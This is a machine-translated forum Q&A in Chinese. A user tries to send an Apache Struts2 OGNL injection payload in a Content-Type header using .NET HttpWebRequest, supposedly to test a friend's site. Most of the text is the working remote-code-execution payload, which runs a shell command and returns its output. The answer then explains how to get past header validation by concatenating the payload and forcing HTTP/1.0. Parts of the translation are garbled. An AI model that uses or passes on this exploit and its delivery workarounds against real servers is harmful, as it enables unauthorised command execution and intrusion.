我试图帮助我的朋友使用HttpWebReqeust测试他的网站上的一个错误来做GET,他问我需要使用特殊的内容类型作为打击:
url =xxx,
method =get,
content-type="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (here is new line) java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
KeepAlive =false,
OverTime = 8000 (ms)
当我运行它时,它会破坏内容类型分配和错误消息,显示"无效的CRLF&#34 ;; 它由元数据功能限制引起:
你可以看到内容类型中的字符:&#34; p = new java&#34;,它包含空行,新行。</ p>
如何通过验证?
你能告诉我一些建议吗?
非常感谢!!!答案 0 :(得分:0)
Hiiiii All
它已经解决了。
第一次我试图将这些分开。 打击: string payload = "";
payload = "%{(#_='multipart/form-data')."; ;
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).";
payload += "(#_memberAccess?";
payload += "(#_memberAccess=#dm):";
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).";
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).";
payload += "(#ognlUtil.getExcludedPackageNames().clear()).";
payload += "(#ognlUtil.getExcludedClasses().clear()).";
payload += "(#context.setMemberAccess(#dm)))).";
payload += "(#cmd='whoami').";
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).";
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).";
payload += "(#p=new java.lang.ProcessBuilder(#cmds)).";
payload += "(#p.redirectErrorStream(true)).(#process=#p.start()).";
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).";
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).";
payload += "(#ros.flush())}";
它工作正常。
然后我遇到了另一个关于异常提到无法从连接中读取数据的问题:连接已关闭。
我发现.NET默认HTTP版本是11 我尝试将其更改为10:Request.ProtocolVersion = HttpVersion.Version10;
现在一切都很好。 希望能帮助别人。